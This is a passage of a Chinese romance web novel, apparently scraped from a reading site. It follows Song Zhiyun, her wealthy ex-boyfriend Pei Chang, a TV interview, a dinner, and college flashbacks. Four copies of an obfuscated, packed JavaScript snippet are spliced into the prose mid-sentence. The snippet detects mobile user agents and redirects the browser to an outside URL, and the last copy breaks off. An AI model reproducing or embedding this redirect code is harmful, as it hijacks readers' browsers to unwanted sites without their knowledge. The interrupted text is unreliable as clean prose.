小王更是不敢参与讨论,为了缓解气氛,宋知蕴立刻开口:“大家别这么拘束,有什么想聊的,尽管说。”说着,她指了指裴昶,“他自己都说了,不用把他当老板,当成能一起聊五毛钱天的好朋友就行。这人很健谈,什么话题都能接上,绝对不会冷场。” “收到~”小王立刻接话。 “好。”两人一前一后回复着。 裴昶听她这样介绍自己,温朗一笑。 唇角牵起,眼下的泪痣也随即晃动。 “裴明彻,拜托自己承认一下你是真的很好聊天。”觉着靠自己一张嘴实在是无法扭转他人心中裴昶高高在上的大老板形象。 为了听起来真实些。只好让大老板开口主动解释。 这亲昵的语气,外人听起来多少有些像撒娇的意思。 裴昶唇角的弧度更深了,点头说道:“就像芝芝说的,把我当成同事就行。我今天也是来工作的,不是什么大老板。有什么想聊的,都可以畅所欲言。” 经过几轮交流,李莎和小王渐渐摸清了裴昶的脾性。 正如宋知蕴所说,裴昶为人随和,是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482899|201852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖场高手。 气氛逐渐变得轻松愉快,四人你一言我一语,聊得热火朝天。 —————— 16:40分,导播间最后一盏信号灯由红转绿。 裴昶的穿搭与五天前截然不同。他端坐在左侧的椅子上,身姿挺拔,身着一套剪裁精致的深灰色西装。 每一粒扣子都扣得整整齐齐。外套领口笔挺,露出里面洁白的衬衫领子和银灰色的领带。 在录影棚灯光的照耀下,裴昶西装上的暗纹与宋知蕴外套上的金线相互映衬,闪烁着独特的光芒。 两人一左一右坐着,此时的画面可以用相得益彰形容。 “观众朋友们,欢迎收看本期访谈节目。”宋知蕴将麦克风轻抵唇边。 珍珠耳钉在镜头前折射出柔和光晕,“在商业变革的惊涛骇浪中,我们有幸邀请到行业领航者——裴昶先生,共同解码数字化时代的生存法则。” 她刻意将座椅转向裴昶30度,手持的淡金色提示卡随着提问动作轻颤:“裴总,当众多企业在数字化转型中折戟沉沙时,您是如何带领团队逆流而上的?” 裴昶的回答严丝合缝:“转型初期,我们搭建了‘双轨制’培训体系,既保留老员工的行业经验,又注入数字化血液。” …… “有人预言传统商业模式将彻底消亡,您认为这是危言耸听,还是大势所趋?”她的目光在摄像机红点与裴昶的瞳孔间游移,裴昶沉吟片刻,喉结轻滚:“传统模式不是废墟,而是亟待激活的文化基因。” 录制过半,徐穗宁踩着细高跟匆匆赶来。 隔着监视器,她望着画面里并肩而坐的两人。 宋知蕴盘发间点缀的珍珠与裴昶领带夹的铂金光泽相映成趣,恍然间竟分不清是现实还是时尚大片的分镜。 结束时,宋知蕴以一段温情又不失专业的结束语,为这场访谈画上圆满句号:“感谢裴总在百忙之中参与本期节目,毫无保留地分享宝贵经验和深刻见解。相信观众朋友们和我一样,收获颇丰。希望在未来,裴总能继续引领行业发展,书写更多辉煌篇章。” 徐穗宁她百无聊赖地掏出手机刷朋友圈,她眼底映出屏幕细碎的光,录制现场突然爆发出一阵掌声。 临离开前,苏衡带着人给台里的工作人员分发提前订好的奶茶和甜品。 裴昶出手向来阔绰,拿出手的东西一定都是品质最好。 此时,采访完的两人并肩走来。徐穗宁目光扫过宋知蕴精心盘起的发髻,又落在裴昶剪裁考究的西装上,两人站在暖黄的灯下,确实像从时尚杂志走出来的璧人。台里的领导们纷纷上前与裴昶寒暄,她站在一旁倒是乐得清闲。 “徐姐!”场务小吴抱着一摞奶茶冲过来,“裴总请大家喝的,您要伯爵牛乳茶还是普洱鲜奶茶?”徐穗宁接过伯爵牛乳茶,吸管戳破封口时,看见裴昶正被台领导围在中间,男人低头和制片主任说话时,睫毛在眼下投出小片阴影,举手投足间确实带着上位者特有的从容。裴昶行程繁忙,领导们也不敢过多打扰,简短交流后便结束了话题。 “在看什么?”宋知蕴不知何时凑了过来,发间的茉莉香混着淡淡的发胶味。徐穗宁晃了晃手中的奶茶:“在看你说的‘人间理想型’。”她挑眉瞥向正和苏衡交谈的裴昶,“不过真人比你形容的还神,气场能把人钉在原地的那种。”宋知蕴被逗笑,挽住徐穗宁的胳膊。一旁的人突然正色道:“让我等了这么久,记你一顿大餐。” 8. “霸道总裁文照进现实啊。” 宋知蕴边挽着徐穗宁的手臂向前走,边说道:“肯定少不了你的。” “去哪?”徐穗宁漫无目的跟着,好奇问了句。 “见气场能把人钉在原地的那位。”宋知蕴看着她笑了笑,打趣的接了句。 围在裴昶周围寒暄的人已然散去。 此刻裴昶正背对着她们所在的方向,和身旁的助理低声正交谈着什么。 宋知蕴没有换下录制时穿的高跟鞋,与徐穗宁相携着逐步靠近。 男人似乎听到了愈来愈响的脚步声,转过头来。待看清来人后,同助理交代了几句,便没有再多说什么。 直至两人来到面前站定,裴昶方才温声开口:“忙完了?” “嗯。”宋知蕴随意应了句,“这是我闺蜜徐穗宁。”还不忘向他介绍。 “裴先生您好,我是徐穗宁。”第一次见到这种级别的人物,虽听了不少他为人随和、好相处的传言,但一时间难免尴尬,还是称呼‘先生’比较稳妥。 “你是知蕴的朋友,不用生疏,叫我裴昶就好。”大抵是在帮她解围。 “好。”徐穗宁应下,脸上扬起礼貌性的笑容。 裴昶挪了挪目光,看向站在她身旁的宋知蕴,又向前走了小半步,开口:“一起吃个晚饭?” 宋知蕴和身旁的人目光交汇,开口询问她的意愿:“今晚有空吧,一起?” “可以啊。”徐穗宁也不矫情,爽快地应下来。 “有没有什么想去的店,地点你们选。”裴昶并没有立刻决定餐厅,反过来询问两人。 宋知蕴侧身,用胳膊轻撞了撞徐穗宁,“有没有想去的店?” 徐穗宁没有马上回答。裴昶怕她尴尬,在话音落下后紧接着补了句:“不用和我客气。第一次见面也不知道你的喜好,万一选到了你不喜欢的,我这个组局的就太不合格了。” “好。”徐穗宁笑笑。 宋知蕴和她说过裴昶性格好、会照顾人,也正是因为他各方面都不错才会对他一直念念不忘。在见面之前徐穗宁只听了她的形容,直到今天接触,她才有机会感受到裴昶为人处世方面的周到。 宋知蕴握了握徐穗宁的手,“他都开口了,不用和他客气。有没有想吃的菜系,还是想去网红店?” 她们喜欢探店,平时去的店比较杂,网红店、老字号、私人餐馆怎样的都有,当然也有些特别钟爱的餐厅。 “诶。”徐穗宁出声,看了看一旁的宋知蕴。 宋知蕴接收着投来的目光,似乎也想到了什么,“你说,我们一直想去的那家怎么样?” 果然,她们就是有默契。“姐妹懂我,但是那家店不是约不上吗?”她也就是担心这个,刚刚才没说完后面的话。 宋知蕴转头,正要问裴昶的意思,对面的人倒是率先开口:“餐厅的名字是?” “彝鼎轩,听说不是熟人基本约不到号。”宋知蕴答。裴昶应该有门路吧,她心里想。 彝鼎轩是京市的老字号,名气大。听说基本只对熟客开放,公众号上偶尔会放出几桌预约单号,只要一开放马上售罄。在京市工作四年了,确实没机会去尝尝。 “好。”裴昶应道,随即挪动视线,看向了宋知蕴脚上的高跟鞋,“剩下的我解决。你们先去换衣服,高跟鞋穿久了一会脚疼了。” 宋知蕴不太喜欢穿高跟,恋爱时曾和裴昶评价:“虽然美丽,但臣妾受不起。” 尽管现在,非必要场合她还是讲求舒适,以搭配平底鞋为主。 “那我俩先上去,你等我们一会。”宋知蕴拉起徐穗宁的手,准备转身往电梯方向走。 “不用着急,我在车里等你们,车牌号一会发你。”裴昶点头示意,目送着两人离开的背影。 —————— 宋知蕴换衣服的时间还算快,十分钟左右两人就到了地下车库。 下班时间,车库里停的车少了很多,很快她们就在一辆车牌是京A·00005的迈巴赫S680前停下。 宋知蕴不由想起几分钟前,自己正在化妆室重新整理头发。 桌子上的手机震动,她抬了抬下巴示意徐穗宁:“帮我看看消息,应该是裴昶发的。” 徐穗宁解锁手机,打开微信,看到备注是“攻略对象”的置顶联系人果不其然发来一串车牌号。 “A00005,霸道总裁文照进现实啊。”她带着些戏谑的语气调侃道。 “霸道倒没有,至于总裁……他家那实力,再来个京A·D0000、京A·88888我看也不奇怪。”宋知蕴随口聊起来。 “也是,他家资产至少a11以上吧。”徐穗宁感叹,世界上这么多有钱人,怎么不能多她一个呢! …… 迈巴赫副驾的车窗半开着,隐约可以看见裴昶分明的脸部轮廓。 他靠在椅背上,车里没开灯,只有仪表盘泛些光。手机屏幕冷白的光映在他脸上,忽明忽暗,照亮了他鼻梁到嘴唇那一小片区域。 宋知蕴和徐穗宁一前一后的走着,打开后座的车门坐了上去。 “出发吧。”裴昶没抬头,开口对司机说了句。此刻手上还攥着手机,处理工作消息。 他简单和对面交代了几句,很快熄灭了手机屏幕。 “穗宁和芝芝是大学同学吗?”他微微侧过身,转头看着后座的两人开口。 “对,知蕴是我大学室友。”徐穗宁眼底带着些笑意,热络地回着。这两人什么情况,明明分手了还搞得这么亲密。 裴昶顺着话题继续和她们聊了下去,慢慢地徐穗宁也不再拘谨,话语间也随意了许多。 他们聊的话题很跳脱,大学生活、工作、兴趣爱好,宋知蕴甚至还让裴昶给徐穗宁留意留意优质男性,帮忙介绍介绍。 宋知蕴敢说,裴昶也就敢应,场面一度融洽,丝毫没有半点尴尬的气氛。 期间,徐穗宁默默观察,注意着俩人自然的互动。 她倒是觉得宋知蕴这位“攻略对象”根本不需要攻略。 旁观者清,裴昶对她的态度再明显不过,只要她稍微使点劲儿。重新拿下还不是分分钟的事? 彝鼎轩距离电视台有些距离,正好赶上晚高峰的他们半小时后才到达目的地。 三人下车后径直走向店内,服务生见到来人,很快便迎了上来。 “先生,您预约的桌号和电话尾号是?我帮您确认。”服务生满脸笑意,殷勤的接待着。 “祼(guàn),尾号0512”裴昶报了信息,等待服务生的下一步动作。 “您是裴先生?”服务生的态度的态度似乎有恭敬了些。 “是,前面打过电话。”裴昶也不着急,点了点头应着。 “经理刚刚交代过了,我先带您上去,经理稍后到。”服务生做了个请的动作,领着三人到了二楼最里面的包厢。 包厢很大,古色古香的设计,和餐厅的名字倒是相配。 三人帮宋知蕴和徐穗宁拉开椅子,看着两人入座后自己才在宋知蕴身旁坐下。 “裴先生,你们先看看菜单,经理一会来帮你点餐。”服务生将手中的菜单轻放在三人面前,转身出了包厢。 经理没一会敲响了包厢门,熟门熟路地为倒水、点菜。 “你们点,想吃什么和他直说就行,不用客气。”裴昶把菜单往两人的方向挪了挪。 徐穗宁和宋知蕴商量着点了几道菜,不一会就和裴昶表示已经点好了。 裴昶觉得两人还是点得含蓄了,又让经理加了几道。 一旁的两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482900|201852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着裴昶和经理的互动眼神交汇,小说电视剧里总裁摆驾餐厅、经理恭敬相迎的桥段也算是照进现实了。看刚刚服务生的态度,和这会儿经理周到的服务,不会真有专属包厢这回事吧。 经理确认了菜单后很快就离开了,此时包厢内只剩下三人。 “怎么了?是不是有什么想问我。”裴昶笑笑,看着她们。工作原因,平时察言观色惯了,刚刚两人那番眉来眼去,很难逃过他的眼睛。 徐穗宁没想到居然被现场抓包,眼神不自觉地躲闪,有些不好意思。 放在桌子底下的手戳了戳宋知蕴的手背。 宋知蕴会意,屁股往徐穗宁那挪了挪,凑过脸在她耳边低声道:“没事的,姐妹。根本没什么,我来问就行,别尴尬。” 徐穗宁给了个“靠你了”的表情,没再多说什么。 裴昶也没打扰,就这么看着她们明目张胆说着“悄悄话”。 终于,宋知蕴做了回来,一只手撑在桌子上拖着脸,开口:“你和老板是不是很熟?”俨然一副八卦的表情。 “现在的老板是我爸朋友。”他回道,面上没什么其他的表情。 宋知蕴又想起了她们第一次见面时的场景,那时裴昶的父亲刚去世不久。也正是因为那日,在她们相恋的一年中,自己都鲜少询问他关于家里的事,不想因为自己触及他的伤心事。五年了,看他的神色似乎早已走出来了,可她仍旧打算避开这个话题。 “我刚刚走过来看其他包厢好像都是两个字,这个怎么只有一个字,不会是什么专属包厢之类的吧。”宋知蕴很快换了问题。 “也不算,祼这个包厢是老板给朋友们专门留的,今天是凑巧了点。”裴昶边说着,放下了手中的杯子。 没聊一会儿,服务生就一道道上满了菜。菜的味道不错,难怪名气这么响。 用完餐后,裴昶找收银员结账,司机已经开着车在门口等候。 星河湾与彝鼎轩之间的距离相比电视台近了很多,十分钟左右迈巴赫便停在了小区门口。 宋知蕴跟在徐穗宁后面下车,关上车门。 几乎同时,前座的车门打开了,裴昶迈着长腿走了下来。 “稍等,东西还没给你。”裴昶出声,绕过车身走到了后备箱的位置。 他来开后备箱,从车载冰箱里拿出包装好的蛋糕。 “上次答应你的。蛋糕不大,你们两个正好可以当夜宵吃。”裴昶关了后备箱,将蛋糕递到宋知蕴面前。 对面的人明显愣了一下,抬手接过蛋糕,面上被笑意填满,“你今天怎么有时间?” 那天明明说的是下次有机会,没想到自己随口说了句,他竟然这么快落实到位。 此刻,宋知蕴的心中难免动容。 “今天上午有空档,刚好可以做。”裴昶笑了笑,答道。 风吹过路旁的落叶,发出了沙沙的响声,宋知蕴零碎的几缕发丝也顺着风的方向向后飘去,露出一截白皙的脖颈。 裴昶的目光不经意地落在那里,又很快移开:“风大,你们先回去吧,下次有机会再聚。” “好。”宋知蕴点头,挽起徐穗宁的手。 “谢谢招待。”徐穗宁也出声,空闲的右手挥了挥,做着拜拜的动作。 裴昶很快打开车门,重新坐了回去。他侧过脸,透过玻璃看到窗外的两人还没有离开。 宋知蕴和徐穗宁说了些什么,暂时松开两人挽着的手,迈步往裴昶这里走来。 车内的人见她越走越近,按动开关把关着的车窗往下降:“怎么了?” 宋知蕴俯身,往他面前凑近了些,轻唤:“裴明彻。” “嗯。”他应。 她直直对上了裴昶的眼睛,又道:“路上小心,到家了和我说哦。” 9. “你不是我的菜。” 宋知蕴挽着徐穗宁在小区里走着,她目视前方有些出神,一旁的徐穗宁也没有搭话。 树影摇晃,晚风袭来,夹杂了些冷意,两人就这样一路无言。 短短一晚,徐穗宁对裴昶的了解深了不少,她没想到裴昶竟是这样的性格。当然,要不是这次采访,自己也不可能知道姐妹的前男友竟然大有来头。 之前她几次劝过宋知蕴趁早死心,没必要在一棵树上吊死。可一番相处下来,她似乎有些明白了宋知蕴心里的那份执念从何而来。 —————— 徐穗宁还记得刚进大学不久,宿舍四个人相处融洽。 大一的课不算多,为了增进感情,她们经常在没课的晚上围在一起吃夜宵、谈天说地。 因为是艺术生,宿舍里四个人家里条件都还不错,刚入学那会儿也没人急着找男朋友。 某天晚上,几人吃着烧烤,自然而然地聊起了择偶的话题。。 “我们宿舍还挺整齐的,隔壁卢雯倩她们宿舍,朋友圈都官宣起男朋友了。”舍友小王率先开启话题。 “我看卢雯倩男朋友还挺帅,听他们说是钢琴专业的。”徐穗宁说完,拿起一串烤黄瓜放到嘴边。 扎着双马尾的舍友接过宋知蕴递来的羊肉串,尝了一口:“这家味道不错,种草了。”她又喝了口柠檬茶,看向在座的其他人,“找男朋友这事不急,遇到喜欢的得慢慢了解。你们呢?理想型是什么样的?” “我啊,我颜控,如果在大学里找,希望上进点吧。”徐穗宁思考了几秒,第一个搭腔。 “我支持,我也看脸。”旁边的女生附和道。 “我吧,不要求要特别帅,颜值正常普通水平都行,太崎岖的我可能没办法说服自己。”小王对颜值方面的要求倒是没这么高。 …… “知蕴,你呢?”她们如火如荼的聊了一阵,宋知蕴只是偶尔应几声,并没有发表确切的言论。 “知蕴择偶标准比较高吧。”徐穗宁看着被提问的人,猜测着回了句。 “反正军训那小子肯定不是知蕴的菜。”双马尾女生想到了什么,笑着调侃到。 “你不说我都忘了,哈哈哈。”小王接话。 “当时他们班教官带方阵队伍走过来,说有大事报告。没想到是这种大事,吃瓜吃到自己舍友身上。”徐穗宁回忆起那天的情形,忍不住又笑了起来。 宋知蕴想起这件事,还是觉得有点尴尬,“不行不行,这种类型的帮大家避雷了哈!”她她看到其余几人的表情忍不住笑出来,两只手举起做了个叉的动作,无奈地摇头。 那天下午军训快结束时,表白的男生戴着眼镜,带着点书生气,从队伍里径直朝她走来。在此之前,宋知蕴怎么也预料不到吃瓜能吃到自己头上。 “同学,我观察你很久了。”男生在她面前站定、出声,脸上还挂着几滴汗珠,发尾的汗顺着脖颈往下淌。 宋知蕴一时不知道该怎么回应,只听见队伍里此起彼伏响起一阵不小的起哄声。 “我觉得你长得很漂亮,可以加个微信吗?”男生停顿了几秒又开口,声音坚定又洪亮。 宋知蕴看了他一眼,下意识垂眸。 虽然不是第一次被要联系方式,但在众目睽睽之下,还是觉得尴尬。 动静闹得不小,四周几个班级也暂时停止了训练,朝这边投来目光。男生不是她喜欢的类型,她更没有随意加人的意思。 她犹豫了几秒,做好心理建设,开口:“同学,不好意思,我暂时没有交男朋友的打算。” “没关系,我们可以先交个朋友。”男生丝毫没有放弃的意思,不依不饶地追问。 “真的……”宋知蕴皱了皱眉,刚想再次拒绝,站在队伍最右侧的教官先开了口:“先回去吧,现在还没下训。” 男生这才收声,红着脸讪讪地回到队伍里。 站在宋知蕴左边的女生趁着这个空隙,往她身边凑了凑,压低声音:“知蕴,你这军装一穿根正苗红的,还站在第一排,想不注意到你都难。” 右边的女生听到后也开始调侃:“可不可以给我分享一下你成功的秘诀?”她挤眉弄眼,“你说我这种搞笑女能不能有机会迎来春天?” “嗯……”宋知蕴装模作样地打量起她,“我觉得完全没问题,我替你将来的对象同意了。”宋知蕴点点头,笑嘻嘻地回。这话一出,周围的几个女生忍不住低笑出声。 “好了,休息时间到。立定!”教官听见动静,目光被吸引过来,拿起喇叭喊了一句。 几人怕被惩罚,立马闭嘴,不敢再说什么。 “你都拒绝他了,他居然还一直想纠缠你,想想都害怕。”徐穗宁缩了缩肩膀,露出嫌弃的表情。 “对啊,他这样有点过了。”“我也觉得。”另外两位舍友也很赞同。 那天晚上下训后,宿舍四人准备一起去食堂吃饭。结果那男生不知怎么注意到了她们的位置,一路小跑追到宋知蕴面前:“同学,给个机会呗,我们加个微信。” 没人想到他会这样不依不饶,宋知蕴有些无语,看了看一旁的徐穗宁,徐穗宁就差把“走开”两个字写在脸上了。 “谢谢你,但是不好意思,我刚刚也说了没有这方面的打算。”看他这架势,今天不说清楚估计连饭都吃不了,宋知蕴索性直接开口回绝。 “你考虑考虑吧,交个朋友也行,你喜欢什么样的?”他继续追问,眼睛直勾勾地盯着宋知蕴。 小王看他一副打算一直纠缠的样子,瞬间来了火气:“我朋友都说不加你了,同学你能不能让我们去吃饭?” “我……”那男生貌似还想辩解。 “我读书晚,你和我同一届的,肯定比我小。姐姐不考虑年下的,你不是我的菜。”宋知蕴说的倒是实话,她完全不考虑姐弟恋。 “麻烦让你让一下,我们要去吃饭了。”宋知蕴迈开步子,带着舍友们从男生身旁径直离开。 那天之后,军训表白的事迹在校园墙里传开了。不知道是谁扒出了宋知蕴的照片,她因为长相出众还在学校里小火了一把。 “我是真不考虑年下的,小一天我都不太能接受。”宋知蕴喝了口果汁,一本正经地说道。 “嗯,这个你当天就和我们科普过了。”徐穗宁点头,她们今天就是想听点不一样的。 “不考虑年下,还有呢?”小王扶了扶眼镜,挪动椅子往宋知蕴那靠近了些。 “我要求挺多的,按照这个找估计要当寡王了哈哈。想想可以,等遇到心动的可能是另外一回事了。” “说吧,我们准备好了。”双马尾的女生打开装着烤茄子的盒子,给每个人挨个递筷子。 宋知蕴从她手上接过筷子,边将筷子从包装中抽出来边边说:“首先,身高方面最好180以上,实在不行178左右。” “你都170了,你男朋友没有180你以后怎么穿高跟鞋?这完全合理。”徐穗宁立马接话。 “支持。”“我也誓死守护。”小王和双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482901|201852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马尾女生一前一后地附和。 “比我大的可以考虑,大4-6岁最好。”宋知蕴没顾上吃,手里拿着筷子接着往下说,“性格方面希望温柔、情绪稳定,可以包容我。”她打心底觉得情绪稳定的男生杀伤力很大。 “没毛病啊,我还以为你要说有多少资产呢,毕竟实力太悬殊你爸妈应该不太会同意吧。”徐穗宁觉得,以宋知蕴这样的条件,这些要求一点都不过分。 “其实我爸妈挺开明的,他们很尊重我的选择。工作、资产这方面,有点存款和事业当然最好,毕竟物质基础还是很重要的。长相嘛,我有点颜控,是帅哥最好。”她这回一口气把所有的都补充完,终于有了空闲,拿起筷子开始夹面前的茄子。 “好的,感谢这位朋友真诚的分享,你姐妹们已经了解了,期待你接下来的表现哦。”徐穗宁鬼灵精怪的把右手握拳放在下巴附近,假装是握住了麦克风,用播音腔来了一段致谢。 “哈哈哈哈。”看她这样,其他人实在忍不住笑出了声。 …… —————— 裴昶的相貌、性格、家世,还有待人处事的态度,桩桩件件都和宋知蕴的理想型完美重合。如果让徐穗宁锐评,她只想说:姐妹,世界上如果真有这样的男人,趁早嫁了吧,让他流入市场是你天大的损失。 两人乘着电梯很快到达了宋知蕴家门口,“聊聊?”徐穗宁问。 “好。”宋知蕴利索地拉开门,给徐穗宁拿了拖鞋。 她们随意地往客厅的沙发上一坐,从头梳理,就这么聊到了凌晨。 期间,还不忘品尝裴昶带来的芋泥蛋糕。 六寸的蛋糕的确不大,但卖相极好。 裴昶会的东西多,只要感兴趣都会试着去学。 听说他妹妹也喜欢吃甜品,所以他特地报了甜品课,在一起时宋知蕴也没少缠着他给自己做,也算是沾了他妹妹的光。 “这是他做的?”徐穗宁看到面前的蛋糕和甜品店卖的毫无二致,还是有些惊讶。 “是啊,不吹不黑,他做的蛋糕挺好吃的。”宋知蕴给徐穗宁分了叉子,将蛋糕均分成四块,用两个盘子分别装了两块,一起推到徐穗宁面前,“这两块你消灭。” “做成这样都发朋友圈了,说他要开甜品店我都信。”徐穗宁边说边拿起一块蛋糕,用叉子盛起一小块送进嘴里,“味道好赞,能不能让他拓展一下业务,如果他开甜品店我一定去支持。”芋泥的甜香在舌尖化开,她幸福地晃了晃脑袋,忍不住开口。 “听说她妹妹也喜欢吃甜品,所以以前约着上过课。”宋知蕴咽下嘴里的蛋糕,拿起面巾纸擦了擦沾在嘴角的奶油。 “诡秘,铁子。你吃得有点太好了!我以前说的都当放屁,别听我胡说。追,咱们继续追!都知道是误会一场了,旁观者清,我看他对你有意思,咱们冲一把。”徐穗宁激动地拍着宋知蕴的肩膀,眼神坚定得跟要英勇就义似的。 “他一个蛋糕就把你收买了?”宋知蕴觉得她的表情有些好笑,扬起嘴角调侃。 “这回是认真的,我帮你详细分析一波……” 她一开启话题那叫一个滔滔不绝。宋知蕴把这位“恋爱大师”送出家门时,已经不知道是凌晨几点了。 回到房间,手机上果然有几条来自微信的消息提醒。 她立刻解锁屏幕,除了家人群,置顶的另外一位联系人那里果真多了一抹红色。 22:28 攻略对象:‘我到家了’。 10. “你明明还喜欢我。” 宋知蕴想了想,大拇指敲击着键盘,打出几个字又删掉。 就这样重复了两三次,才终于编辑好了信息。 ‘刚刚送走徐穗宁,这会儿才看到消息。’她按下回车键,发送出去。 彼时已将近凌晨一点。裴昶刚处理完手头的工作,回到房间。 他从床头柜上的药瓶里倒出两粒药,就着水咽了下去。 他正准备上床,桌面上的手机震动了两声。 他掀开被子,调整姿势,让自己半靠在床上,解锁了手机准备回复消息。 床头的台灯散发出暖色调的光,在他侧脸上落下一片柔和的阴影,映得那双略带倦意的眼睛更温润了些。 ‘没事。蛋糕味道还行吗?很久没做了,手艺应该生疏了。’ 宋知蕴收到消息后几乎秒回,‘和以前一模一样,手艺哪生疏了。徐穗宁刚还夸呢,说你可以考虑开甜品店了。’ 裴昶忍不住勾起唇角,指腹在屏幕上敲出几字:‘那我有机会考虑考虑拓宽一下产业。’ 宋知蕴瞥了眼屏幕角落的时间,又发了一条:‘很晚了,早点休息吧~’ 裴昶的身体应该不适合熬夜吧,她想。 ‘好,你也是。’对面回的很快。 ‘明天聊’,发完后宋知蕴又补了个可爱的表情包‘晚安.jpg’ 裴昶也回了表情,是只小猫乖乖盖着被子,旁边写着晚安两个大字。 宋知蕴见他回的是猫咪晚安,指尖在屏幕上顿了顿,鬼使神差地点开了他的微信头像。 他的头像不是冷冰冰的黑底纯色。 暗调画面里,湖面浮着半轮月亮的碎影,水波轻晃,只有淡淡的银辉。 她指尖轻轻划开,点进了他的朋友圈。 没有三天可见的限制,大多是隔上十天半个月更新一次,没有他自己的照片,净是些摄影的风景,偶尔也夹杂几张日常。 有雨后京郊的山雾,镜头里的青山隐在白茫茫的雾里,只露出半截黛色的山峰。 还有海边的落日,橘红色的晚霞铺满天际,海浪拍着沙滩。 宋知蕴翻着翻着,嘴角不自觉地弯了弯。 还是和以前一样,这人总爱用镜头去记录那些细碎又不起眼的美好。 —————— 记忆一下子就被拉回了五年前。 因为花园在里的遇见,宋知蕴和裴昶加上了微信。 一来二去也就更熟悉了,差不多两个月的时间他们很自然地就相恋了。 那时候的裴昶虽然和现在相差不多,却没有这么沉稳,反而多几分肆意、洒脱。 他的兴趣爱好很多,其中对摄影研究最深。出去玩时,手里也经常揣着相机。 他的相机很多,胶片机、微单、拍立得、专业的单反,什么样的都有。 宋知蕴那时候总爱缠着他,看他拍照片。 某天,她们一起去看日落。云层透着橘红色,落日悬在半空。 裴昶拿起相机调试着,拍了几张。宋知蕴看着他,指尖戳着相机屏幕:“裴明彻,你怎么总拍风景啊。” 裴昶放下相机,转头,摸了摸她的头笑:“我给芝芝拍几张,好不好?” 宋知蕴脑子里忽然蹦出个想法:“要不你教我吧,我想拍你!”眼睛亮晶晶的看他。 裴昶捏捏她的脸,调好参数后,把相机递到她手上,教她怎么用。 “来,试试,拍我。”他说。 宋知蕴不习惯用相机,要么把他的头拍歪,要么过度曝光。 他也不嫌弃,一张张存着,还会洗出来,在背面写着「芝芝的处女作」。 有次周末,他带着她去江城的老巷子里拍照。 老巷子里的梧桐树枝繁叶茂,阳光透过叶隙洒下来,在地上投下斑驳的光影。 他蹲在地上调整好角度,宋知蕴穿着白色的连衣裙,走在青石板路上,回头冲他笑。 那张照片,她一直收在钱包里,后来换了好几个钱包,也没舍得丢。 哪怕她和裴昶后来分手,宋知蕴还是小心翼翼地把照片夹在书里,藏在书架最深处。 宋知蕴靠在床头,翻着他的朋友圈,心里像被温水泡过,软乎乎的,又带着点酸涩。 这么多年,他好像也没有变,还是那个喜欢用镜头记录美好的裴明彻。 她想起徐穗宁凌晨出门前,拍着她的肩膀说的那些话。 “你看他这态度,哪是对你没心思的样子?你只是提了一句嘴泥蛋糕的事,他就亲手做了给你送过来” 宋知蕴抿了抿双唇,没有回答。 只听徐穗宁又接着说:“你也说了,他出过车祸身体不好。他肯定是怕拖累别人,才说那些话拒绝你。可他的行动骗不了人,接受采访,陪你吃饭,给你做蛋糕,哪一样不是心里有你的样子?” “你别怂,我大胆预测一波,你肯定能再次把他拿下!”徐穗宁对着她挤眉弄眼,做了一个加油的动作,“看好你哦!” 徐穗宁的话,一字一句都撞进了她的心里。 是啊,他的行动从来都骗不了人。 他说不能复合,却记得她的喜好,和他们在一起的每一个细节。 记得她不爱穿高跟鞋,会亲手给她做蛋糕。 宋知蕴放下手机,靠在床头,看着天花板。 想着想着,就这么睡了过去。 —————— 接下来的日子,两个人的聊天频率变得高起来。 裴昶工作依旧排得满满当当,回复消息有时快有时慢。 但宋知蕴发过去的话,无论多晚,他总会逐条回复,从不敷衍。 宋知蕴经常和裴昶拍照分享日常,裴昶偶尔也回几张照片,吃饭时会随口问一句对方吃了什么,加班晚了会互相提醒注意休息,语气熟稔又自然,一点点靠近了从前亲密的模样。 他们约过一次饭。 是宋知蕴提的。 她说发现了一家新开的粤菜馆,评论说汤煲得很好。 裴昶犹豫了几秒,回了句,‘好,什么时候’。 宋知蕴盯着手机,心跳莫名快了几拍。 吃饭那天,她特意提前十分钟到了。 裴昶推门走来,他今天穿了件深灰色的羊绒大衣,里头是黑色高领毛衣,衬得整个人有些清瘦。 “等很久了?”他在对面坐下,把大衣搭在椅背上。 “刚到。”宋知蕴托着下巴看他,笑了笑。 “你最近是不是又瘦了?”她问。 裴昶接过服务员递来的菜单,闻言动作顿了顿,没抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 